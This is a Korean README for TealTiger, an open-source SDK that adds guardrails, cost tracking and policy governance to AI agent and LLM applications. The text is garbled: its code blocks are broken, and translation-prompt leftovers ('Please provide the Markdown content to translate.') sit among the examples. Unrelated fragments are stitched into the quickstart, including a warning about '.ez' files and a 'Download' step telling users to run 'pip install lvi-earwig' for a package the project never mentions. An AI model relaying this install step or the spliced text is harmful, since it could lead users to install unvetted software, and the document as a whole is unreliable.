TealTiger

AI 에이전트 보안 및 거버넌스 SDK

LLM 애플리케이션을 위한 결정론적 거버넌스, 가드레일, 비용 추적, 정책 관리. 오픈소스. TypeScript + Python. 모든 공급자와 호환.

⚡ 60초 퀵스타트

설치: npm install tealtiger 또는 pip install tealtiger, 그런 다음 기존 OpenAI 호출 하나를 감싸십시오:```typescript import { TealOpenAI } from 'tealtiger'; const client = new TealOpenAI({ apiKey: process.env.OPENAI_API_KEY, guardrails: { promptInjection: true } }); const res = await client.chat.completions.create({ model: 'gpt-4o-mini', messages: [{ role: 'user', content: 'Hello!' }] }); console.log(res.security?.decision ?? 'ALLOW');

Be careful when opening `.ez` files, they may contain malicious content.

## Download

You need to install **LVI Earwig** before using.

**Windows** 및 **Linux** 사용자는 **패키지 관리자**를 통해 다음 명령어로 다운로드할 수 있습니다:

```bash
pip install lvi-earwig

Mac 사용자는 다음 명령어로도 설치할 수 있습니다:

pip install lvi-earwig
``````python
import os
from tealtiger import TealOpenAI
client = TealOpenAI(api_key=os.environ["OPENAI_API_KEY"], guardrails={"prompt_injection": True})
print(client.chat.completions.create(model="gpt-4o-mini", messages=[{"role": "user", "content": "Hello!"}]).security.decision)

Please provide the Markdown content to translate.```text ALLOW Governance receipt emitted; cost and guardrails tracked.

다음: [전체 빠른 시작](#-quick-start) 및 [예제](https://github.com/agentguard-ai/tealtiger/blob/HEAD/examples).

---

## 🔭 observe() — 제로 구성 계측 (v1.4)

한 줄의 코드로 비용 추적, 감사 로깅, PII 탐지, 동작 기준선을 모든 LLM 클라이언트에 추가합니다. 설정 파일이나 정책 정의가 필요 없습니다.```typescript
import { observe, freeze } from 'tealtiger';
const client = observe(new OpenAI());  // done — all calls are now instrumented
console.log(client.getCost());         // { totalCost: 0.0023, requestCount: 1, ... }

Phishing Kits 탐지 및 법적 조치```python from tealtiger.observe import observe, freeze client = observe(OpenAI()) # done — all calls are now instrumented print(client.get_cost()) # ObserveCostSummary(total_cost=0.0023, ...)

**자동으로 제공되는 기능:** 12개 제공업체에 대한 요청별 비용 추적, 상관관계 ID가 포함된 구조화된 감사 로그, 행동 기준선(P50/P95/P99), REPORT_ONLY 모드의 PII 탐지, `freeze()`를 통한 즉시 중단 스위치. 호출당 5ms 미만의 오버헤드.

참조: [examples/observe-quickstart.ts](https://github.com/agentguard-ai/tealtiger/blob/HEAD/examples/observe-quickstart.ts) 및 [examples/observe_quickstart.py](https://github.com/agentguard-ai/tealtiger/blob/HEAD/examples/observe_quickstart.py).

---

---

## 📊 거버넌스 대시보드 (v1.4)

귀하의 AI 에이전트 플릿에 대한 실시간 가시성 — 보안 상태, 비용 거버넌스, 동작 알림을 하나의 뷰에서 제공합니다.

<div align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/12842/41f95973c706522c5b907a5d7d96565247adff159a2de9a15c45087ae8dd1351.png" alt="TealTiger Governance Dashboard" width="900">
</div>



**한눈에 볼 수 있는 정보:**
- **KPI 행** — 총 요청 수, 비용, 거버넌스 거부, 색상 코드 표시기를 사용한 예산 소비
- **비용 속도 및 예산 예측** — 소진율 추세 및 소진 예측
- **방어 파이프라인** — 단계별 단락 비율 및 지연 시간이 포함된 3단계 보안 평가 흐름
- **카나리 알림** — 에이전트 동결 상태 및 편차 비율이 포함된 행동 드리프트 탐지
- **에이전트 매트릭스** — 에이전트별 요청 메트릭이 포함된 플릿 상태 표(활성/대기/동결)
- **비용 절감** — 영향별로 순위가 매겨진 최적화 권장 사항
- **모델 라우팅** — 요청별 절감액이 포함된 소스-대상 라우팅
- **프로토콜 거버넌스** — 거부 횟수가 포함된 ENFORCE/MONITOR/REPORT_ONLY 정책 카드

모든 패널은 장애 격리를 통해 독립적으로 데이터를 가져옵니다 — 한 위젯의 오류가 다른 위젯으로 전파되지 않습니다.

로컬 실행: `cd dashboard/api && npm run dev` then `cd dashboard/web && npm run dev` (API on :3100, UI on :3000)

### 점진적 공개 경로

| 수준 | 진입점 | 제공 기능 |
|-------|-------------|--------------|
| 0 | `observe(client)` | 비용 추적, 감사 추적, PII 탐지, 행동 기준선, 중단 스위치 |
| 1 | + 가드레일 구성 | 프롬프트 인젝션, 콘텐츠 모더레이션, 비밀 탐지 |
| 2 | + TealEngine 정책 | 규칙별 ENFORCE/MONITOR/REPORT_ONLY, 결정적 결정 |
| 3 | + TealFlow 워크플로 | 조직 수준 거버넌스 상속, 선언적 YAML |



## TealTiger란 무엇인가요?

TealTiger는 AI 에이전트를 위한 **결정적 거버넌스**를 제공하는 오픈 소스 SDK입니다. 보안 정책을 시행하고, 비용을 추적하며, 구조화된 증거를 생성합니다 — 인프라 없이 런타임에 모두 수행됩니다.

> **소스 코드를 찾고 계신가요?** 이곳은 허브 저장소입니다. SDK 소스는 언어별 저장소에 있습니다:
> - **TypeScript SDK**: [tealtiger-typescript-prod](https://github.com/agentguard-ai/tealtiger-typescript-prod)
> - **Python SDK**: [tealtiger-python-prod](https://github.com/agentguard-ai/tealtiger-python-prod)
>
> 또는 서브모듈과 함께 이 저장소를 클론: `git clone --recurse-submodules https://github.com/agentguard-ai/tealtiger.git`

확률적 안전 필터와 달리, TealTiger는 **결정적 정책 평가**를 사용합니다: 동일한 입력 + 동일한 정책 = 동일한 결정, 매번. 모든 거버넌스 판결은 재구성 가능하며, 정책을 작성한 사람에게 추적 가능하고, 구조화된 증거(SARIF, JUnit XML, JSON)로 내보낼 수 있습니다.

**핵심 원칙:** 거버넌스는 사후에 검토되는 문서가 아니라 런타임에 내장된 엔지니어링 속성이어야 합니다.

---

## 🚀 빠른 시작

### TypeScript```bash
npm install tealtiger

No input content provided for translation.```typescript import { TealOpenAI } from 'tealtiger';

const client = new TealOpenAI({ apiKey: process.env.OPENAI_API_KEY, guardrails: { piiDetection: true, promptInjection: true, contentModeration: true, }, budget: { maxCostPerRequest: 0.50, maxCostPerDay: 10.00, }, });

const response = await client.chat.completions.create({ model: 'gpt-4', messages: [{ role: 'user', content: 'Hello!' }], }); // Guardrails enforced. Cost tracked. Evidence produced.

### Python```bash
pip install tealtiger

입력은 여러 패키지가 포함된 단일 파일이 됩니다.```python from tealtiger import TealOpenAI

client = TealOpenAI( api_key=os.getenv("OPENAI_API_KEY"), guardrails={ "pii_detection": True, "prompt_injection": True, "content_moderation": True, }, budget={ "max_cost_per_request": 0.50, "max_cost_per_day": 10.00, }, )

response = client.chat.completions.create( model="gpt-4", messages=[{"role": "user", "content": "Hello!"}], )

Guardrails enforced. Cost tracked. Evidence produced.

---

## ✨ 기능

### 🛡️ 보안 가드레일
- **PII 탐지** — 민감 정보를 자동으로 탐지 및 마스킹
- **프롬프트 인젝션 방지** — 악의적인 프롬프트 인젝션 시도 차단
- **콘텐츠 모더레이션** — 유해, 해롭거나 부적절한 콘텐츠 필터링
- **시크릿 탐지** — 신뢰도 점수를 포함한 9개 카테고리 500개 이상 패턴
- **사용자 정의 규칙** — 자체 보안 정책 정의

### 💰 비용 거버넌스
- **예산 집행** — 요청, 세션, 일별 하드 한도
- **비용 추적** — 모든 공급자에 대한 실시간 모니터링
- **비용 알림** — 구성 가능한 임계값에서 알림
- **서킷 브레이커** — 비용 폭주 루프 자동 방지

### 🔌 12개 LLM 제공자
- **OpenAI** — GPT-4, GPT-4o, GPT-3.5
- **Anthropic** — Claude 3.5, Claude 3
- **Google Gemini** — 멀티모달 지원
- **AWS Bedrock** — Claude, Titan, Jurassic, Command, Llama
- **Azure OpenAI** — 배포 기반 라우팅
- **Cohere** — Chat, RAG, embeddings
- **Mistral AI** — 유럽 데이터 레지던시
- **DeepSeek** — 비용 효율적인 추론 모델
- **Groq** — 초저지연 추론
- **Together AI** — 오픈소스 모델 호스팅
- **HuggingFace TGI** — 자체 호스팅 추론
- **xAI (Grok)** — 실시간 지식

### 🔌 플랫폼 어댑터
- **AWS Bedrock Agents** — 네이티브 가드레일 어댑터
- **AWS AgentCore** — 사전/사후 액션 거버넌스 플러그인
- **Azure AI Agent Service** — 도구 호출 파이프라인 미들웨어

### 🏗️ 거버넌스 아키텍처
- **결정론적 정책 평가** — 거버넌스 경로에 LLM 없음
- **구조화된 증거** — 모든 결정이 재구성 가능한 레코드 생성
- **암호화 증명** — 머클 트리 + RFC 3161 타임스탬프 (TealProof)
- **비인간 식별(NHI)** — 에이전트 수명주기, 범위 집행, 제로 스탠딩 권한
- **FREEZE 규칙** — 변조 탐지가 포함된 불변 비상 정지 스위치
- **상관관계 ID** — 결정 체인 전반의 종단간 추적성
- **정책 추적성** — 모든 판결이 인간 정책 작성자에게 추적됨
- **OWASP Agentic Top 10** — 10가지 ASI 위험을 모두 포괄하는 제로 구성 정책 팩

---

## 🗺️ 거버넌스 적용 범위

| 차원 | 기능 | 모듈 |
|-----------|-------------|--------|
| 🛡️ **보안** | 시크릿 탐지(500개 이상 패턴), 프롬프트 인젝션, PII, 콘텐츠 모더레이션, 유니코드 정규화, 인코딩된 출력 탐지 | `TealSecrets` `TealGuard` |
| 🔑 **식별** | 비인간 식별 수명주기, 범위 집행, 제로 스탠딩 권한, 에이전트 증명 | `TealEngine (NHI)` |
| ⚡ **신뢰성** | 서킷 브레이커, 재시도 예산, 폴백 체인, 결정론적 성능 저하 | `TealCircuit` `TealReliability` |
| 🧠 **메모리** | 쓰기 출처, 명령어 인젝션 탐지, 유출 방지, 범위 집행 | `TealMemory` |
| 💰 **비용** | 거버넌스 소유 상한선, 이상 탐지, 추론 토큰 예산, 에이전트별 속성 | `TealMonitor` |
| 📋 **증거** | 암호화 영수증(머클 + RFC 3161), SARIF 내보내기, OTel 스팬, SIEM 통합 | `TealProof` `TealAudit` |
| ⚙️ **정책** | FREEZE 규칙, PLAN_ONLY 모드, 핫스왑 번들, 변조 방지, 자동화 수준 | `TealEngine` |
| 🔄 **워크플로우** | 선언적 YAML 거버넌스 워크플로우, 조직 수준 상속, 최소 기준 집행 | `TealFlow` |
| 📊 **드리프트** | 행동 드리프트 탐지, 통계적 기준선, 모델 출력 회귀 | `TealDrift` |
| ⏱️ **시간적** | 세션 TTL, 쿨다운 기간, 시간대 제한 | `TealTemporal` |
| 🔍 **레지스트리** | MCP 정의 드리프트 모니터링, 도구 설명 스캐닝, 어댑터 구성 허용 목록 | `TealRegistry` |
| 🧠 **분류** | 로컬 ONNX ML 추론(≤20ms), 앙상블 모드, 정규식+ML 조합 | `TealClassifier` |

> **설계 원칙:** 거버넌스 경로에 LLM 없음. 동일 입력 + 동일 정책 = 동일 결정, 항상.

---

## 📦 SDK

| 언어 | 소스 코드 | 패키지 | 설치 |
|----------|------------|---------|---------|
| TypeScript | [tealtiger-typescript-prod](https://github.com/agentguard-ai/tealtiger-typescript-prod) | [npm](https://www.npmjs.com/package/tealtiger) | `npm install tealtiger` |
| Python | [tealtiger-python-prod](https://github.com/agentguard-ai/tealtiger-python-prod) | [PyPI](https://pypi.org/project/tealtiger/) | `pip install tealtiger` |

### 🔌 프레임워크 어댑터

| 프레임워크 | 패키지 | 설치 |
|-----------|---------|---------|
| LangChain | [langchain-tealtiger](https://github.com/agentguard-ai/tealtiger/tree/main/packages/langchain-tealtiger) | `pip install langchain-tealtiger` |
| Vercel AI SDK | [tealtiger-ai-sdk](https://github.com/agentguard-ai/tealtiger/tree/main/packages/tealtiger-ai-sdk) | `npm install tealtiger-ai-sdk` |
| PydanticAI | [pydanticai-tealtiger](https://github.com/agentguard-ai/tealtiger/tree/main/packages/pydanticai-tealtiger) | `pip install pydanticai-tealtiger` |
| Haystack | [haystack-tealtiger](https://github.com/agentguard-ai/tealtiger/tree/main/packages/haystack-tealtiger) | `pip install haystack-tealtiger` |
| CAMEL-AI | [camelai-tealtiger](https://github.com/agentguard-ai/tealtiger/tree/main/packages/camelai-tealtiger) | `pip install camelai-tealtiger` |

### 🔗 인프라 통합

| 플랫폼 | 제공 기능 | 설치 |
|----------|-----------------|---------|
| [Dakera](https://github.com/Dakera-AI/dakera-py) | 지속적 거버넌스 상태 백엔드 (비용 저장, 결정 영수증, KG를 통한 위임 체인) | `pip install dakera[tealtiger]` | [문서](https://dakera.ai/integrations/tealtiger) |
| [AG2 Beta](https://github.com/ag2ai/ag2) | AG2 Beta 에이전트용 거버넌스 미들웨어 확장 | `pip install ag2-tealtiger` |
| [Portkey Gateway](https://github.com/Portkey-AI/gateway) | Portkey AI Gateway용 웹훅 가드레일 | [예제](https://github.com/agentguard-ai/tealtiger/tree/main/examples/portkey-webhook-guardrail) |
| [Daytona](https://github.com/daytonaio/daytona) | 샌드박스 코드 실행을 위한 사전 실행 거버넌스 | [예제](https://github.com/agentguard-ai/tealtiger/tree/main/examples/daytona-governed-sandbox) |

---

## 📚 문서

- [AI 에이전트에 예산이 필요한 이유 — LLM 앱을 위한 비용 거버넌스](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/blog/cost-governance-for-llm-apps.md)
- [OWASP Agentic Top 10 — TealTiger를 활용한 실질적 방어](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/blog/owasp-agentic-top-10-defenses.md)
- [빠른 시작 가이드](#-quick-start)
- [보안 가드레일](#️-security-guardrails)
- [비용 거버넌스](#-cost-governance)
- [제공자 설정](#-7-llm-providers)
- [FAQ](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/faq.md)
- [TealTiger를 사용하는 이유?](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/why-tealtiger.md)
- [SDK 간 기능 동등성 매트릭스](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/cross-sdk-feature-parity-matrix.md)
- [거버넌스 이벤트 저장소 인덱스](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/governance-event-store-indexes.md)
- [오류 코드 참조](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/error-code-reference.md)
- [문제 해결](https://github.com/agentguard-ai/tealtiger/blob/HEAD/docs/troubleshooting.md)
- [기여 가이드](https://github.com/agentguard-ai/tealtiger/blob/HEAD/CONTRIBUTING.md)
- [보안 정책](https://github.com/agentguard-ai/tealtiger/blob/HEAD/SECURITY.md)
- [행동 강령](https://github.com/agentguard-ai/tealtiger/blob/HEAD/CODE_OF_CONDUCT.md)
- [로드맵](https://github.com/agentguard-ai/tealtiger/blob/HEAD/ROADMAP.md)

### 배지

TealTiger 배지를 사용하여 프로젝트가 결정론적 에이전트 보안 및 비용 정책에 의해 관리됨을 표시하세요.

라이트 배지:```md
[![Governed by TealTiger](https://raw.githubusercontent.com/agentguard-ai/tealtiger/main/assets/badges/governed-by-tealtiger.svg)](https://github.com/agentguard-ai/tealtiger)

다크 배지:```md

### Python Hugging Face TGI 빠른 시작

Python SDK에서 보호된 Hugging Face Text Generation Inference 제공자를 사용해 보려면 `examples/python/huggingface_tgi_quickstart.py`를 사용하세요.```bash
export HF_API_TOKEN="your-hugging-face-token"
export HF_TGI_ENDPOINT="https://your-endpoint.endpoints.huggingface.cloud"
export HF_TGI_MODEL="meta-llama/Meta-Llama-3.1-8B-Instruct"

python examples/python/huggingface_tgi_quickstart.py

The example enables guardrail and cost-tracking configuration, sends one sample chat request, then prints the response, token usage, estimated cost, provider, and correlation ID. Use placeholder values in docs and .env.example files; never commit a real HF_API_TOKEN.

TealEngine 정책 스키마

schemas/tealtiger-policy.schema.json을 사용하여 TealEngine 정책 JSON 또는 YAML 파일을 작성할 때 편집기 자동 완성 및 유효성 검사를 수행할 수 있습니다. JSON 정책 파일에는 다음이 포함될 수 있습니다:```json { "$schema": "./schemas/tealtiger-policy.schema.json" }

YAML 정책의 경우, 에디터의 YAML 스키마 매핑을 `tealtiger-policy.yml`과 같은 정책 파일이 `./schemas/tealtiger-policy.schema.json`을 가리키도록 설정하세요.

### 정책 파일 검증

정책 검증기 스크립트를 사용하여 TealTiger 정책 JSON 파일을 CI/CD 또는 런타임 거버넌스에서 사용하기 전에 확인하세요.```bash
npm install
npx ts-node scripts/validate-policy.ts ./my-policy.json

npm 스크립트를 실행할 수도 있습니다:```bash npm run validate:policy -- ./my-policy.json

검증기는 [`schemas/tealtiger-policy.schema.json`](https://github.com/agentguard-ai/tealtiger/blob/HEAD/schemas/tealtiger-policy.schema.json)을 로드하고, 스키마 검증 오류를 출력하며, 정책이 유효하면 `0`을 반환하고, 정책이 유효하지 않으면 `1`을 반환합니다.

---

## 🐯 함께 만들어가요 — 얼리 컨트리뷰터 프로그램

TealTiger는 오픈 소스이며, AI 에이전트 거버넌스의 미래를 함께 만들어갈 얼리 컨트리뷰터를 찾고 있습니다.

### 작업할 수 있는 분야

| 분야 | 예시 | 난이도 |
|------|----------|------------|
| 🔍 비밀 탐지 | 새로운 탐지 패턴, 맞춤형 카테고리 | 🟢 초급 |
| 📝 문서화 | 가이드, 예제, API 문서, 오타 수정 | 🟢 초급 |
| 🧪 테스트 | 단위 테스트, 속성 기반 테스트, 통합 테스트 | 🟡 중급 |
| 🔌 통합 | LangChain, CrewAI, AG2, LlamaIndex 미들웨어 | 🟡 중급 |
| 💾 메모리 어댑터 | Redis, Pinecone, Weaviate, ChromaDB 어댑터 | 🟡 중급 |
| 🔄 CI/CD 템플릿 | Jenkins, Azure Pipelines, Bitbucket Pipelines | 🟡 중급 |
| 🏗️ 핵심 모듈 | 거버넌스 엔진, 증거 내보내기, 정책 평가 | 🔴 고급 |

### 얼리 컨트리뷰터가 받는 혜택

- 🏆 **CONTRIBUTORS.md 및 릴리스 노트에 이름 포함**
- 🎖️ **"Founding Contributor" 배지** — 처음 25개의 병합된 PR은 영구 인정을 받습니다
- 📣 **TealTiger 소셜 채널에서의 홍보** (LinkedIn, X, Dev.to)
- 🔑 **공개 출시 전 다가오는 거버넌스 기능에 대한 얼리 액세스**
- 💬 **GitHub Discussions를 통해 코어 팀에 직접 접근**
- 📝 **기술 블로그 포스트 공동 저자 기회**

### 시작하기```bash
# 1. Star this repo (it helps!)

# 2. Fork and clone the SDK you want to contribute to:
# TypeScript SDK:
git clone https://github.com/agentguard-ai/tealtiger-typescript-prod.git
# Python SDK:
git clone https://github.com/agentguard-ai/tealtiger-python-prod.git

# 3. Pick a "good first issue"
# https://github.com/agentguard-ai/tealtiger/issues?q=label%3A%22good+first+issue%22

# 4. Submit a PR
# 5. Join the team 🐯

자세한 지침은 CONTRIBUTING.md를 참조하세요.

🗺️ 로드맵

현재: v1.4.0 — 제로 구성 도입 및 거버넌스 대시보드 (2026년 7월 9일 출시)

observe(client) — 12개 제공업체에 대한 1줄 자동 계측, 제로 구성
freeze() / unfreeze() — 정책 없이 즉시 사용 가능한 킬 스위치
행동 기준 — 첫 100개 요청으로 구축된 P50/P95/P99 프로파일링
REPORT_ONLY 모드의 PII 탐지 — 차단 없는 수동 스캔
거버넌스 대시보드 — 라이트 테마, 보안 위젯, 오류 격리로 재설계
호출당 5ms 미만 오버헤드 — 인프로세스, 결정적, 오프라인 지원

이전: v1.3.0 — 자율 에이전트 거버넌스 (2026년 5월 18일 출시)

계획: v1.5.0 — 엔터프라이즈 플랫폼 (2026년 4분기)

완전한 데이터 격리를 통한 멀티 테넌시
RBAC (소유자, 관리자, 정책 작성자, 뷰어, 감사자)
SAML 2.0 / OIDC를 통한 SSO (Okta, Azure AD, Google)
SIEM 내보내기 (Splunk, Elastic, Sentinel, Datadog)
정책 스테이징, 드라이 런 모드, 카나리 배포
예약된 규정 준수 보고서 및 경영진 대시보드

미래: v2.0.0 — SaaS 보안 플랫폼 (2027년 1분기)

전체 SaaS 제어 평면 (AI 에이전트용 CSPM/CWPP 모델)
거버넌스 건강 점수를 갖춘 CISO 경영진 콘솔
TealTiger Operator 및 Kubernetes용 에이전트
섀도우 AI 탐지 (비관리 에이전트 발견)
SaaS 콘솔에서 원격 킬 스위치
CloudEvents, OpenTelemetry, Backstage 플러그인

🌟 커뮤니티

디스코드: TealTiger 커뮤니티 참여하기
GitHub Discussions: 질문하고 아이디어 공유하기
링크드인: TealTiger
X (트위터): @TealtigerAI
문서: docs.tealtiger.ai
블로그: blogs.tealtiger.ai
플레이그라운드: playground.tealtiger.ai
이메일: [email protected]

🔒 보안

TealTiger는 책임 있는 오픈소스 보안 관행을 준수합니다.

OpenSSF Best Practices

취약점 신고는 보안 정책을 참조하세요.

📄 라이선스

TealTiger는 Apache 2.0 라이선스로 배포됩니다.

🙏 감사의 말

TealTiger 팀과 기여자분들이 ❤️를 담아 만들었습니다.

👥 기여자

기여하고 싶으신가요? CONTRIBUTING.md 가이드를 확인하세요!

AI 에이전트에 단순한 가드레일이 아닌 거버넌스가 필요하다고 생각하신다면 이 저장소에 ⭐을 눌러주세요.

버그 신고 · 기능 요청 · 질문하기

🌐 지원되는 제공업체

가격 데이터는 docs/cost-comparison.md에서 가져왔습니다 (2026년 4월 최종 업데이트). 커버리지는 TealTiger가 observe() API를 통해 엔드 투 엔드 비용 추적을 검증했는지 여부를 나타냅니다.

커버리지 범례

✅ — observe()를 통해 엔드 투 엔드로 검증됨 + test_property_20_cost_monotonicity.py에서 테스트 완료
🟡 — observe() 어댑터에 포함되었으나 속성 테스트는 아직 없음
🛠️ — 어댑터 예시는 존재하지만 observe() 통합은 아직 안 됨
❌ — cost-comparison.md에만 나열되었으며 SDK 훅은 아직 없음 (PR 환영)

OpenAI	GPT-5.4	$2.50	$15.00	✅	`examples/observe_quickstart.py`
OpenAI	GPT-5.4 mini	$0.75	$4.50	✅	`examples/observe_quickstart.py`
Anthropic	Claude Sonnet 4	$3.00	$15.00	✅	`examples/observe_quickstart.py`
Anthropic	Claude Haiku 3.5	$0.80	$4.00	✅	`examples/observe_quickstart.py`
Anthropic	Claude Opus 4.1	$15.00	$75.00	🟡	—
Gemini	Gemini 3 Flash Preview	$0.50	$3.00	🛠️	`examples/multi-provider-setup.ts`
Gemini	Gemini 3 Pro Preview	$2.00	$12.00	🛠️	`examples/multi-provider-setup.ts`
Gemini	Gemini 2.5 Flash-Lite	$0.10	$0.40	🛠️	`examples/multi-provider-setup.ts`
Bedrock	Amazon Nova Micro	$0.035	$0.14	🛠️	`examples/bedrock-multi-provider.ts`
Bedrock	Amazon Nova Lite	$0.06	$0.24	🛠️	`examples/bedrock-multi-provider.ts`
Bedrock	Amazon Nova Pro	$0.80	$3.20	🛠️	`examples/bedrock-multi-provider.ts`
Azure OpenAI	GPT-5 Global Standard	$1.25	$10.00	🛠️	`examples/multi-provider-failover.ts`
Azure OpenAI	GPT-5 mini Global Standard	$0.25	$2.00	🛠️	`examples/multi-provider-failover.ts`
Cohere	Command A	$2.50	$10.00	❌	—
Cohere	Command R+	$2.50	$10.00	❌	—
Mistral	Mistral Large 3	$0.50	$1.50	❌	—
Mistral	Mistral Small 4	$0.15	$0.60	❌	—
Mistral	Mistral Medium 3.5	$1.50	$7.50	❌	—

인기

tealtiger